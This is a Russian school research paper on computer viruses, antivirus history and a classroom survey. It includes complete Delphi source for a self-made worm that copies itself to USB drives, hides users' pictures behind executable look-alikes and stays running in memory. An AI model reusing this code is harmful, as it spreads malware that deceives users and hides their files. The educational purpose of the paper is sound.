Муниципальное бюджетное образовательное учреждение средняя общеобразовательная школа №1
Исследовательская работа по информатике на тему:
«Компьютерный вирус: вчера и сегодня»
(Что такое компьютерный вирус и современные средства защиты от них)
Выполнил: Бурашников Евгений,
ученик 8 класса
Руководитель: Маслова М.Б.,
учитель информатики и математики
Консультант: Бармин О.В., ведущий специалист
ООО «Гипорт»
г. Семенов
2012 г.
Содержание
Введение……………………………………………………………………...…
|
3
|
Глава 1: Компьютерные вирусы…………………………….............................
|
4
|
1.1 История компьютерных вирусов…………………………………………..
|
4
|
1.2 Классификация компьютерных вирусов…………………………………..
|
6
|
1.3 Признаки появления вирусов ………………………………………...…....
|
10
|
Глава 2: Компьютерные антивирусы……………………………………….....
|
11
|
2.1 История компьютерных антивирусов……………………………………..
|
11
|
2.2 Классификация антивирусных программ………………………………....
|
12
|
Глава 3: Социальный опрос учащихся школы ………………………………
|
13
|
Глава 4: Эксперимент.………………………………………….........................
|
18
|
Заключение………………………………………………………………………
|
26
|
Литература ……………………………………………………………………...
|
27
|
Тот, кто владеет информацией - тот владеет миром
Натан Ротшильд
Введение:
Проблема исследования
Почему возникают компьютерные вирусы? Как уберечь свой компьютер от них? Являются ли антивирусные программы эффективным средством защиты и, какие из них, лучшие? Вот такими вопросами можно «очертить» круг проблем, возникающий перед каждым пользователем компьютера.
Актуальность темы
«Кто владеет информацией, тот владеет миром» (Натан Ротшильд) – эти знаменитые слова сегодня известны почти всем. Информация в современном обществе является на данный момент одним из самых ценных продуктов. Поэтому проблемы сохранения и защиты информации являются очень важными и волнуют каждого от школьника до президента страны.
Объект исследования
Объектом исследования является программное обеспечение компьютера.
Предмет исследования
Предметом исследования являются вирусные и антивирусные программы.
Цели исследования
-
Изучить алгоритм создания простейшего компьютерного вируса.
-
Исследовать реакцию антивирусных программ на неизвестный вирус.
Задачи
-
Изучить теоретическую литературу по данной теме.
-
Провести сравнительный анализ популярных антивирусных программ.
-
Провести опрос, выявляющий уровень знаний восьмиклассников по данной теме.
-
Создать тест-вирус и провести эксперимент.
Гипотеза
-
Мы предполагаем, что существующие антивирусные программы способны защитить информацию, хранящуюся на компьютере.
-
И если предположить, что это так, то созданный нами тест-вирус должен быть определен, хотя бы одной из них.
Методы исследования
- Анализ научной литературы
- Сопоставление различных антивирусных программ
- Опрос
- Эксперимент
Глава 1: Компьютерные вирусы
1.1 История развития вирусных программ
С течением времени роль информации в жизни человека становилась все существеннее. Нужно было изучать и понимать уже не только законы природы, но и понятия и ценности человеческого общества – литературу, искусство, архитектуру и т.д. Сейчас, в первой половине 21-ого века роль информации в жизни человека является определяющей – чем больше навыков и знаний он имеет, тем выше ценится как специалист и сотрудник, тем больше имеет уважения в обществе.
Так как ценность информации в настоящее время очень велика, то всегда найдутся те, кто захочет ею владеть любыми способами. С этой целью и создаются вирусы, хотя в начале своей жизни они выглядели баловством хулиганов. Так что же такое - «Компьютерный вирус»?
Компьютерный вирус — разновидность компьютерных программ или вредоносный код, отличительной особенностью которых является способность к размножению. В дополнение к этому вирусы могут без ведома пользователя выполнять прочие произвольные действия, в том числе, наносящие вред пользователю и/или компьютеру. То есть использовать ресурсы компьютера, такие как: оперативная и внешнюю память, выход в интернет, с целью загрузить ещё более вредоносный вирус или даже пожирать исходный код.
Неспециалисты ошибочно относят к компьютерным вирусам и другие виды вредоносных программ - программы-шпионы и даже спам. Известны десятки тысяч компьютерных вирусов, которые распространяются через Интернет по всему миру.
Первые вирусы были созданы в 1981 году и паразитировали на ПК apple II. Это были Virus 1,2,3 и Elk Cloner. Вирус Elk Cloner был создан 15-летним школьником Ричардом Скрента и распространялся, заражая операционную систему DOS для Apple II, записанную на гибких дисках. После того, как компьютер загружался с зараженной дискеты, автоматически запускалась копия вируса. Вирус не влиял на работу компьютера, за исключением наблюдения за доступом к дискам. Когда происходил доступ к незараженной дискете, вирус копировал себя туда, заражая её, медленно распространяясь с диска на диск.
Вирус не причинял вреда намеренно, хотя он мог повредить диски, содержащие нестандартный образ DOS, затирая резервные дорожки диска, вне зависимости от их содержимого. После каждой 50-й загрузки вирус выводил на экран стишок:
Elk Cloner: программа с индивидуальностью
Это попадёт во все ваши диски
Это проникнет в ваши чипы
Да, это - Cloner!
Это прилипнет к вам как клей
Это изменит оперативную память
Пошлите в Cloner
1.2 Классификация компьютерных вирусов
Почти все вирусы можно отнести к 4 категориям:
-
Червь Морриса. 2 ноября 1988 г. зафиксирован первый случай появления и «победоносного» шествия сетевого червя. Позднее в СМИ этот червь был наречён червём Морриса по имени его автора (аспиранта факультета Вычислительной техники Корнельского университета Роберта Т. Морриса). Хакеры же прозвали его «великим червём».
Эпидемия поразила около шести тысяч узлов ARPANET. В институт Беркли со всей страны были приглашены лучшие специалисты по компьютерной безопасности того времени для нейтрализации последствий вредоносного действия вируса. Анализ кода программы не выявил ни логических бомб, ни каких-либо деструктивных функций.
Червь, вопреки расчётам создателя, буквально наводнил собой весь сетевой трафик ARPANET.
П
Дискета с исходным кодом червя Морриса, хранящаяся в Музее Науки в Бостоне
ри сканировании компьютера червь определял, инфицирован ли уже компьютер или нет, и случайным образом выбирал, перезаписывать ли существующую копию, дабы обезопаситься от уловки с поддельной копией, внесённой системными администраторами. С определённой периодичностью программа, так или иначе, перезаписывала свою копию. Слишком маленькое число, заданное Робертом для описания периодичности, и послужило причиной первой в мире эпидемии сетевого червя.
Незначительная логическая ошибка в коде программы привела к разрушительным последствиям. Компьютеры многократно заражались червём, и каждый дополнительный экземпляр замедлял работу компьютера до состояния отказа от обслуживания, подчистую, исчерпывая ресурсы компьютера.
Червь использовал почтовые сервисы, через которые он рассылал себя на различные компьютеры, после чего подбирал пароли к почтовым аккаунтам при помощи словаря. Словарь был небольшой — всего лишь около 400 ключевых слов, но если учесть, что в конце 1980-x о компьютерной безопасности мало кто задумывался, и имя учётной записи (обычно реальное имя пользователя) часто совпадало с паролем, то этого было достаточно.
Червь использовал также маскировку, дабы скрыть своё присутствие в компьютере: он удалял свой исполняемый файл, переименовывал свой процесс в sh и каждые три минуты ветвился.
По замыслу автора, червь должен был инфицировать только определенного вида компьютеры с операционными системами 4BSD и Sun 3. Однако модифицирующийся код дал червю возможность запускаться и на других компьютерах.
Ущерб от червя Морриса был оценён примерно в 96 миллионов долларов.
Сам Моррис хорошо законспирировал код программы, и вряд ли кто мог доказать его причастность. Однако его отец, компьютерный эксперт Агентства национальной безопасности, посчитал, что сыну лучше во всём сознаться.
На суде Роберту Моррису грозило до пяти лет лишения свободы и штраф в размере 250 тысяч долларов, однако, принимая во внимание смягчающие обстоятельства, суд приговорил его к трём годам условно, 10 тысячам долларов штрафа и 400 часам общественных работ.
Эпидемия показала, как опасно безоговорочно доверять компьютерным сетям. Впоследствии были выработаны новые ужесточённые нормы компьютерной безопасности, касающиеся безопасности кода программ, администрирования сетевых узлов и выбора защищённых паролей.
-
«Троянские кони» - вредоносные программы, распространяемые людьми, в отличие от других вирусных программ, которые распространяются самопроизвольно.
Название «троянские» восходит к эпизоду в Илиаде, рассказывающем о «Троянском коне». Большая часть троянских программ действует подобным образом — маскируется под безвредные или полезные программы, чтобы пользователь запустил их на своем компьютере. Считается, что первым этот термин в контексте компьютерной безопасности употребил Дэниэл Эдвардс, сотрудник NSA.
«Трояны» — самый простой вид вредоносных программ, сложность которых зависит исключительно от сложности истинной задачи и средств маскировки. Самые примитивные «трояны» (например, стирающие содержимое диска при запуске) могут иметь исходный код в несколько строк.
Троянские программы распространяются людьми — непосредственно загружаются в компьютерные системы злоумышленниками-инсайдерами, и впоследствии пользователи загружают и/или запускают их на своих системах.
Для достижения последнего, троянские программы помещаются злоумышленниками на открытые или индексируемые ресурсы (файл-серверы и системы файлообмена), носители информации, присылаются с помощью служб обмена сообщениями (например, электронной почтой), попадают на компьютер через бреши безопасности или загружаются самим пользователем с адресов полученных одним из перечисленных способов.
Иногда использование троянов является лишь частью спланированной многоступенчатой атаки на определенные компьютеры, сети или ресурсы. Троянская программа может имитировать имя и иконку существующей, несуществующей или просто привлекательной программы, компонента, или файла данных (например картинки), как для запуска пользователем, так и для маскировки в системе своего присутствия.
Троянская программа может в той или иной мере имитировать или даже полноценно выполнять задачу, под которую она маскируется (в последнем случае вредоносный код встраивается злоумышленником в существующую программу).
-
Полиморфные вирусы - вирусы, используемые авторами вредоносного программного обеспечения для снижения уровня детектирования вредоносной программы классическими антивирусными продуктами. Первый известный полиморфный вирус был написан Марком Вашбёрном (Mark Washburn). Вирус, который назывался 1260, был создан в 1990 году. Более известный полиморфный вирус был внедрён в 1992 году болгарским взломщиком Dark Avenger (псевдоним), создавшим MtE (Mutation Engine).
Полиморфизм заключается в формировании программного кода вредоносной программы «на лету» — уже во время исполнения, при этом сама процедура, формирующая код также не должна быть постоянной и видоизменяется при каждом новом заражении.
Постоянное видоизменение программного кода вредоносной программы не позволяет создать универсальную сигнатуру для данного образца вредоносной программы. На сегодняшний день, для противодействия данному методу в антивирусном программном обеспечении применяются такие технологии, как эвристический анализ и эмуляция.
-
Стелс-вирус (англ. stealth virus — вирус-невидимка) — вирус, полностью или частично скрывающий свое присутствие в системе, путем перехвата обращений к операционной системе, осуществляющих чтение, запись, чтение дополнительной информации о зараженных объектах (загрузочных секторах, элементах файловой системы, памяти и т. д.)
Загрузочный вирус перехватывает функцию ОС, предназначенную для посекторного доступа к дискам, с целью «показать» пользователю или программе-антивирусу оригинальное содержимое сектора до заражения.
Файловый вирус перехватывает функции чтения/установки позиции в файле, чтения/записи в файл, чтения каталога и т. д., чтобы скрыть увеличение размера зараженных программ; перехватывает функции чтения/записи/отображения файла в память, чтобы скрыть факт изменения файла.
1.3 Признаки появления вирусов
Есть ряд признаков, свидетельствующих о заражении компьютера:
-
вывод на экран непредусмотренных сообщений или изображений;
-
подача непредусмотренных звуковых сигналов;
-
неожиданное открытие и закрытие лотка CD-ROM-устройства;
-
произвольный, без вашего участия, запуск на компьютере каких-либо программ;
-
при наличии на вашем компьютере Интернета, появление предупреждений о попытке какой-либо из программ вашего компьютера выйти в Интернет, хотя вы это никак не инициировали.
Кроме того, есть некоторые характерные признаки поражения вирусом через электронную почту:
-
друзья или знакомые говорят вам о сообщениях от вас, которые вы не отправляли;
-
в вашем почтовом ящике находится большое количество сообщений без обратного адреса и заголовка;
Есть также косвенные признаки заражения вашего компьютера:
-
частые зависания и сбои в работе компьютера;
-
медленная работа компьютера при запуске программ;
-
невозможность загрузки операционной системы;
-
исчезновение файлов и каталогов или искажение их содержимого;
-
частое обращение к жесткому диску (часто мигает лампочка на системном блоке);
-
интернет-браузер «зависает» или ведет себя неожиданным образом (например, окно программы невозможно закрыть).
Несмотря на то, что подобные симптомы с малой вероятностью свидетельствуют о заражении, при их появлении рекомендуется провести полную проверку вашего компьютера установленной на нем антивирусной программой.
Глава 2: Компьютерные Антивирусы
2.1 История антивирусов
Кто же изобрёл первые «полицейские программы»?
Первые антивирусные утилиты появились зимой 1984 года. Анди Хопкинс написал программы CHK4BOMB и BOMBSQAD. CHK4BOMB позволяла проанализировать текст загрузочного модуля и выявляла все текстовые сообщения и «подозрительные» участки кода (команды прямой записи на диск и др.). Благодаря своей простоте (фактически использовался только контекстный поиск) и эффективности CHK4BOMB получила значительную популярность. Программа BOMBSQAD.COM перехватывает операции записи и форматирования, выполняемые через BIOS. При выявлении запрещённой операции можно разрешить её выполнение.
Первый антивирус в современном понимании этого термина, то есть резидентный, «защищающий» от вирусных атак, появился в 1985 году. Программа DRPROTECT создана усилиями Джи Вонг (Gee Wong). Разработка блокировала все операции (запись, форматирование), выполняемые через BIOS. В случае выявления такой операции программа требовала рестарта системы.
Антивирусные программы до начала 90-х годов представляли собой, по сути, набор из нескольких десятков сигнатур (образцов вирусного кода), которые хранились в теле программы. Предполагалась также процедура поиска этих сигнатур в файлах. Причем зачастую эти сигнатуры разработчики даже не шифровали. Получалось так, что порой один антивирус легко мог «найти вирус» в другом. Усложнение ситуации с вирусами повлекло за собой и усложнение программ, которые были призваны бороться с ними. Как это обычно бывает, совсем скоро инициатива по разработке и впоследствии продаже антивирусных программ перешла к большим компаниям, состоящим, естественно, более чем из одного программиста-энтузиаста. С гордостью стоит отметить, что в развитии этой индустрии одну из ведущих ролей сыграли программисты из России.
2.2 Классификация антивирусов
Антивирусная программа (классический антивирус) - это компьютерная программа, целью которой является обнаружить, предотвратить размножение и удалить компьютерные вирусы и другие вредоносные программы. Многие антивирусные программы позволяют не только обнаруживать, но и препятствуют несанкционированному проникновению вредоносных программ в компьютер.
Как и вирусные программы, антивирусы имеют классификацию:
-
Антишпион (antispyware) - антивирусная программа, предназначенная для обнаружения и удаления шпионского программного обеспечения с компьютера пользователя. Сегодня антишпионы в чистом виде практически не используются. Как правило, они включаются в состав антивирусов или комплексных средств защиты компьютеров и имеют дополнительные функции позволяющие удалять агрессивную рекламу, номеронабиратели, и другие вредоносные программы.
-
Онлайн сканер - антивирусное средство для обнаружения и удаления вирусов из файловой системы персонального компьютера, подключенного к сети интернет. Основным преимуществом онлайн сканеров является отсутствие необходимости инсталляции приложения. К недостаткам можно отнести тот факт, что сканер только обнаруживает вирусы, которые уже проникли систему и не способен защитить компьютер от будущего заражения
-
Сетевой экран (firewall) - это программа, обеспечивающая безопасную работу компьютера в локальных сетях и интернете, которая позволяет блокировать нежелательный сетевой трафик, а также обеспечивает невидимость компьютера в сети, с целью предотвращения кибератак. Актуальность использования этого эффективного средства безопасности растет по мере лавинообразно нарастающего объёма и скорости создания вирусов и других вредоносных программ.
-
Комплексная защита - это комплекс антивирусных программных средств, представляемый, как правило, под названием "Internet Security" и включающий в себя все перечисленные выше средства защиты компьютера плюс дополнительные функциональные компоненты, такие как родительский контроль, защита от спама и многое другое.
Глава 3: Социальный опрос учащихся школы
В социальном опросе принимали учащиеся 8 классов школы №1 (~80 чел.).
Анкета
1) Наличие компьютера домашнего? (Да/Нет) ____________
2) Основное программное обеспечение:
а) ОС ____________________
б) Прикладные программы (перечислить основные пакеты) _____________________
__________________________________________________________________________________________________________________________________________________________
в) Антивирусные программы и утилиты __________________________________________
г) Знаете ли вы что такое компьютерный вирус и как определить, что он поселился на вашем компьютере _____________________________________________________________________________
д) Работают ли антивирусными программами ваши родители?
*на работе
*дома
е) Попадались ли вам компьютерные вирусы, если да то какие ____________________
_________________________________ и как вы с ними боролись?_____________________________________________________________________
Результаты опроса представлены на следующих диаграммах.
Операционные системы домашних компьютеров.
28
22
4
1
27
Антивирусные программы
26
20
13
5
1
14
По данным социального опроса наибольшей популярностью пользуется:
-
Антивирус Касперского
-
Avast
-
Nod32
Антивирус Касперского: На сегодняшний день антивирус Касперского является, пожалуй, наиболее популярным антивирусом в нашей стране, причем, вполне заслуженно. Этому есть масса причин, с которыми вы можете ознакомиться чуть ниже.
Преимущества
Огромнейшая база вирусов, ежедневные обновления, возможность получать информацию об обновлениях по электронной почте. Наличие резидентной программы-сканера, позволяющей проверять файлы “на лету”. Поддержка многих платформ и наличие различных сетевых функций. Очень быстрые алгоритмы проверки, низкий процент ложных срабатываний. Очень простой и в то же время достаточно удобный интерфейс. Важным достоинством также является удобство обновления вирусной базы — вместо того чтобы скачивать, скажем, 30 файлов за месяц, существует возможность скачать одно кумулятивное обновление, включающее в себя все файлы за данный
период времени.
Недостатки
Чрезмерно медленная работа под Windows. Программа периодически пытается выйти в Интернет, и вообще всячески старается напомнить о себе пользователю, что не есть хорошо.
Как не трудно догадаться антивирус был создан Евгением Касперским. Талантливый программист Евгений Касперский родился 4 октября 1965 г. в городе Новороссийске. В школе увлекался математикой, зачитывался журналами "Эврика", принимал участие в олимпиаде с температурой под 38 и занял на ней второе место. В 1982 году окончил физико-математическую школу-интернат №18 имени А.Н.Колмогорова при МГУ, в которую его пригласили. С 1991 года, после увольнения из армии, работал в многопрофильном научно-исследовательском институте. Начал изучение феномена компьютерных вирусов в октябре 1989 года, когда на его компьютере был обнаружен вирус "Cascade". С 1991 по 1997 год работал в компании "Ками", где вместе с группой единомышленников развивал антивирусный проект "AVP" (сейчас - "Антивирус Касперского"). В 1997 году Евгений Касперский стал одним из основателей "Лаборатории Касперского", которая успешно завоевала не только российский рынок.
Avast: Антивирус Аваст позволит вашему компьютеру избежать глобальных вирусных эпидемий. Антивирус полностью русифицирован.
Преимущества
Он имеет встроенную защиту от шпионов и руткитов, а также защищает от вирусов, распространяемых через зараженные сайты, электронную почту, чаты и системы обмена мгновенными сообщениями. Имеет хорошую систему встроенной самозащиты. Это гарантирует, что ни один вирус не сможет удалить его с компьютера и тем самым сделать ваш ПК беззащитным. Аваст имеет массу настроек и на совесть защищает компьютер. Avast! Home Edition Free отличается от платной версии Avast Professional Edition крайне незначительно. Это огромный плюс антивируса
Недостатки
Но осторожно - при работе антивирус проявляет небольшую склонность к «самодеятельности»: в стремлении защитить ПК программа бросается на все подозрительные файлы. Следовать его советам нужно осторожно. Антивирус рекомендуется только опытным пользователям ПК.
Еще один существенный недостаток в бесплатной версии - отсутствии опции блокировки опасных скриптов (так называемый "щит скриптов"). Этот момент очень важен, так как он напрямую влияет на вашу защищенность в Интернете, который, как известно, является основным источником вирусов.
Компанию AVAST Software a.s. (прежняя компания ALWIL Software a.s.) основали в 1988 году два чешских ученых, которые питали страсть к компьютерам и программированию. На сегодняшний день штат компании составляет 100 человек в главном офисе в Праге, не считая группы преданных делу энтузиастов по всему миру и дистрибьюторов на всех рынках. Компания AVAST Software a.s. предлагает целый портфель программ для обеспечения безопасности компьютера на 30 языках и насчитывает более 190 миллионов пользователей.
Линейка продуктов avast! начинается бесплатным антивирусом avast! Free Antivirus для домашних компьютеров и продолжается передовыми решениями для предприятий.
ESET (NOD32): Современная надежная антивирусная программа. Гарантирует обнаружение большего числа вредоносных программ (вирусов, шпионского ПО, троянов, червей и др.). Проста в использовании и не нуждается в постоянном контроле.
Преимущества
Работает быстро и потребляет минимум системных ресурсов.
Недостатки
Необходимость обновления антивирусных сигнатур исключительно через Интернет, большой размер обновлений и отсутствие загрузочного механизма для проверки и лечения NTFS-разделов.
Компания ESET(Nod32) — международный разработчик антивирусного программного обеспечения и решений в области компьютерной безопасности для корпоративных и домашних пользователей — была основана в 1992 году. Штаб-квартиры ESET находятся в г. Братислава, Словакия и в г. Сан-Диего, США. Компания представлена более чем в 180 странах мира. ESET является пионером в области создания эвристических методов обнаружения угроз, которые позволяют детектировать и обезвреживать как известные, так и новые вредоносные программы.
Российское представительство ESET открылось в январе 2005 года и входит в тройку стратегически важных представительств компании в мире. Российское представительство ESET курирует продвижение и продажу программного обеспечения ESET во всех странах СНГ. По данным исследовательских компаний КОМКОН и «Ромир», ESET NOD32 является вторым по популярности антивирусным решением в России и защищает каждый третий компьютер. При этом 90% пользователей рекомендуют продукты ESET NOD32 своим друзьям и знакомым.
Таблица: Сравнение характеристик антивирусных программ
Название
|
Касперский
|
Avast
|
Nod 32
|
Загрузка ЦП
|
~ 52%
|
~ 30%
|
~ 15 %
|
|
1. Быстро реагирует как на старые вирусы, так и на новые вирусные программы.
2. Встроено много дополнительных сканеров.
3. Хорошие утилиты.
4. Быстро расправляется со всплывающими окнами и спамом.
|
1. Хорошо распознает вирусы, но не всегда успевает перекрыть доступ вредоносного ПО. 2. Бесплатная версия очень сильная и может конкурировать с платными.
3. К сожалению, не имеет достойных утилит.
|
1. Очень быстрый антивирус.
2. Хорошие встроенные анти-шпионы и сканеры.
3. Имеет не плохие утилиты, но с антивирусом Касперского не сравнимы.
|
Стоимость
|
~1200 руб. (на два ПК)
|
~900 руб., есть бесплатная версия
|
~900 руб.
|
Выводы
|
Самый сильный антивирус, но тормозит ПК и к тому, же платный.
|
Имеется хорошая бесплатная версия, быстрый, ежедневно обновляющийся антивирус
|
Самый быстрый, проверяет все, но тоже платный.
|
Глава 4: Эксперимент
Идея эксперимента:
-
Создать вирусную программу, которая заражает внешние носители (дискеты, флэшки).
-
Протестировать наиболее популярные антивирусные программы с помощью этого вируса и установить эффективность каждой из них.
Реализация эксперимента:
Создан вирус под именем «Моё_фото», который относится к категории нерезидентных вирусов. Алгоритм работы, которого заключается в следующем. Изначально предполагалось использовать автозапуск при подключении флэшки, но в Windows 7 эту возможность отключили из-за этих самых вирусов. Но был найден более простой путь. Он основан на следующем: проводник в Windows не показывает расширения файлов, поэтому пользователь определят тип файла по иконкам. Но, если исполняемому файлу дать иконку картинки, то тогда пользователь будет думать, что это картинка, а не программа и спокойно ее запустит, ни о чем, не подозревая (один из стандартных способов маскировки вируса). Чтобы дополнить впечатление, вирус был назван 'мое_фото', в итоге человек видит файл с названием «мое фото» и иконкой картинки.
При запуске приложение сканирует все диски и ищет среди них флэшки, если находит, то запрашивает у пользователя: не хочет ли он эту флешку заразить (чтобы это не было совсем уж вирусом, то будем спрашивать разрешение), если пользователь подтверждает, то файл с программой копируется на флешку, т.е. происходит заражение.
Для того чтобы программа стала полноценным вирусом, то нужно было бы дописать следующие вещи:
1) Чтобы при закрытии программы, она не закрывалась на самом деле, а оставалась в памяти
2) Чтобы добавляла себя в автозапуск Windows .
3) Чтобы определяла когда подключается новая флешка и заражала ее.
Мы предполагали, что как для понимания, так и для презентации такого урезанного вариант достаточно.
Текст программы:
//эта процедура запускается при запуске приложения
procedure TVirusForm.FormCreate(Sender: TObject);
var
Drive: Char;
begin
//перебираем все буквы дисков от A до Z
for Drive := 'A' to 'Z' do
//если диск с такой буквой есть и он съемный (например флешка)
if (GetDriveType(PChar(Drive + ':\')) = Drive_Removable) then
//то спрашиваем пользователя
//хочет ли он заразить съемный диск вирусом
if (Application.MessageBox(PChar('Обнаружен съемный диск [' + Drive + ']! Заразить?'), PChar('Внимание!'),
mb_OKCANCEL) = mrOK) then
begin
//если нажата кнопка OK
//то копируем наш вирус на съемный диск
//функция paramstr(0) возвращает путь к запушенному приложению
CopyFile(PChar(paramstr(0)), PChar(Drive + ':\мое_фото.exe'), true);
end;
end;
При тестирование оказалось, что такой вариант тест-вируса не опознается, как полноценный вирус. Поэтому пришлось модифицировать созданную программу до полноценного вируса.
Отличия от предыдущей версии заключаются в следующем.
1) Не спрашивает подтверждения на запись на носители.
2) По закрытию на «крестик» не заканчивает работу, а остается в памяти.
3) Пытается заразить флешки не только при запуске программы, но и каждую минуту (на случай если флешку подключили уже после запуска вируса)
4) "Заражает" картинки в папке Мои Рисунки (в Моих Документах)
Слово заражает написано в кавычках, потому что он просто ставит картинкам атрибут "скрытый", чтобы они не отображались в проводнике. И потом копирует туда сам вирус с таким же именем как у картинки, чтобы пользователь запускал вирус при попытке посмотреть картинку. Это нужно для того чтобы вирус попадал в память после перезапуска компьютера.
Чтобы сделать вирус полноценным, нужно было бы еще добавить, чтобы при попытке просмотра картинки, картинка все же открывалась, чтобы пользователь не заподозрил заражение системы, но для научного проекта этого в целом не нужно.
Программа нового вируса:
unit virus;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, jpeg, ExtCtrls, ShlObj, StrUtils;
type
TVirusForm = class(TForm)
RandallImage: TImage;
VirusTimer: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure VirusTimerTimer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
VirusForm: TVirusForm;
implementation
{$R *.dfm}
//процедура заражения дисков
procedure InjectFlashDrives();
var
Drive: Char;
begin
//перебираем все буквы дисков от A до Z
for Drive := 'A' to 'Z' do
//если диск с такой буквой есть и он съемный (например флешка)
if (GetDriveType(PChar(Drive + ':\')) = Drive_Removable) then
//то спрашиваем пользователя
//хочет ли он заразить съемный диск вирусом
//if (Application.MessageBox(PChar('Обнаружен съемный диск [' + Drive + ']! Заразить?'), PChar('Внимание!'),
// mb_OKCANCEL) = mrOK) then
// begin
//если нажата кнопка OK
//то копируем наш вирус на съемный диск
//функция paramstr(0) возвращает путь к запушенному приложению
CopyFile(PChar(paramstr(0)), PChar(Drive + ':\my_photo.exe'), true);
// end;
end;
//"заражает" картинку
//делает ее "не видимой" и создает exe файл с таким же именем
procedure InjectImage(fileName: String);
var
shortFileName: String;
begin
//ставим файлу атрибут "скрытый"
FileSetAttr(fileName, faHidden);
//содержит имя файла без расширения
shortFileName := LeftStr(fileName, Length(fileName) - 3);
//копируем в папку наш exe файл с именем как у картинки
CopyFile(PChar(paramstr(0)), PChar(shortFileName + 'exe'), true);
//Application.MessageBox(PAnsiChar(shortFileName), 'name');
end;
//процедура "заражения" файлов с выбранным расширением в папке
procedure InjectFolder(path: String; ext: String);
var
sr: TSearchRec;
begin
//ищем файлы с заданным расширением
//не папки и не скрытые
if FindFirst(path + '\*.' + ext, faAnyFile - faDirectory - faHidden, sr) = 0 then
begin
repeat
InjectImage(path + '\' + sr.Name);
until FindNext(sr) <> 0;
FindClose(sr);
end;
end;
//процедура рекурсивного обхода папок и их заражения
procedure ScanAndInjectFolder(path: String);
var
sr: TSearchRec;
begin
//ищем подпапки
if FindFirst(path + '\*', faDirectory, sr) = 0 then
begin
repeat
if ((sr.Name <> '.') and (sr.Name <> '..')) then
begin
//и заражаем так же и их
ScanAndInjectFolder(path + '\' + sr.Name);
end;
until FindNext(sr) <> 0;
FindClose(sr);
end;
//заражаем папку
InjectFolder(path, 'png');
InjectFolder(path, 'jpg');
InjectFolder(path, 'gif');
InjectFolder(path, 'bmp');
end;
//процедура заражения папки "Мои Рисунки"
procedure InjectMyDocuments();
var
path: array [0..MAX_PATH] of char;
begin
//получаем путь к Моим Рисункам в переменную path
ShGetSpecialFolderPath(0, path, $0027, False);
//заражаем папку Мои Рисунки
ScanAndInjectFolder(String(path));
end;
//эта процедура запускается при запуске приложения
procedure TVirusForm.FormCreate(Sender: TObject);
begin
InjectFlashDrives();
InjectMyDocuments();
end;
//делаем, чтобы программа по закрытию формы
//оставалась в памяти, а не прекращала работу
procedure TVirusForm.FormCloseQuery(Sender: TObject;
var CanClose: Boolean);
begin
//запрещаем закрывать приложение
CanClose := false;
//и прячем форму
Hide;
end;
//таймер, срабатывающий раз в минуту
//заражаем все флеш носители
//на случай если флешку воткнули после срабатывания вируса
procedure TVirusForm.VirusTimerTimer(Sender: TObject);
begin
InjectFlashDrives();
end;
end.
Примечание: При создании вируса мы воспользовались помощью квалифицированного специалиста Бармина Олега Вячеславовича, ведущего специалиста предприятия ООО «Гипорт».
2. Следующим этапом в проведении эксперимента было тестирование антивирусных программ. Были выбраны программы, которые в результате опроса учащихся оказались самыми популярными: Антивирус Касперского, Avast, Nod32. Тестирование заключалось в следующем. Были выбраны 6 компьютеров, на каждом их которых установлена какая-либо из этих приведенных выше антивирусных программ.
Первый тест:
На компьютерах выключалась антивирусная защита, после чего подключалась заражённая флэшка, и активировался вирус. Далее антивирусные программы подключались, и проводилось тестирование компьютера на наличие вирусов.
Второй тест:
При включённой антивирусной защите подключалась заражённая флэшка и активировался вирус.
Примечание: Экспериментальные машины после заражения и проведения эксперимента были «вылечены» в ручную, то есть чётко было проконтролировано внедрение вируса, откуда он и был удалён. Компьютеры не были подключены к интернету, чтобы не произошло случайного заражения через компьютерные сети.
Результаты эксперимента:
В ходе эксперимента было установлено, что ни в одном случае, из приведённых тестов, вирус не был найден и удалён.
Заключение
В ходе исследования были изучены причины и история появления компьютерных вирусов. Оказалось, что первый вирус как это и бывает, был создан не для похищения информации, а просто ради забавы.
Проведено анкетирование, результаты которого показали, что более 30% учеников не знают свою операционную систему и антивирусные программы. Был разработан алгоритм самого простейшего вируса и на его примере исследовано внедрение вирусных программ. Также наш тест-вирус не был обнаружен различными антивирусными программами, такими как Антивирус Касперского, Avast и Nod 32. Отсюда вывод простой: программы не могут полностью защитить компьютер, в первую очередь защита зависит от компьютерной грамотности самого пользователя ПК.
Литература:
1. М.Е.Фиошин, А.А. Ресин, С.М. Юнусов. Информатика и ИКТ. Дрофа. Казань. 2010 г.
2. Алексеев Е.Р., Чеснокова О.В., Кучер Т.В. Free Pascal и Lazarus. Учебник по программированию. Издательство: ДМК-пресс. 2010 г.
3. Жадаев А. От «чайника» к пользователю. Издательство: БХВ-Петербург. 2010 г.
4. Компьютерный журнал «Мир ПК». Издательство "Открытые системы"
Сайты:
-
Автор не известен. Что такое компьютерный вирус? Статья. // Интернет ресурс: http://www.capsa-avt.narod.ru/Bezopasnost/virusi/
-
Автор не известен. Классификация вирусов. Вики-статья.// Интернет ресурс: http://ru.wikipedia.org
-
Автор не известен. Полиморфные вирусы. Реферат.// Интернет ресурс: http://www.bibliofond.ru/view.aspx?id=33797
-
Официальный сайт компании «Лаборатория Каспкрского».// Интернет ресурс: http://www.kaspersky.ru
-
Официальный сайт компании AVAST Software a.s.// Интернет ресурс: http://www.avast.ru
-
Официальный сайт компании ESET. //Интернет ресурс: http://www.esetnod32.ru/
Достарыңызбен бөлісу: |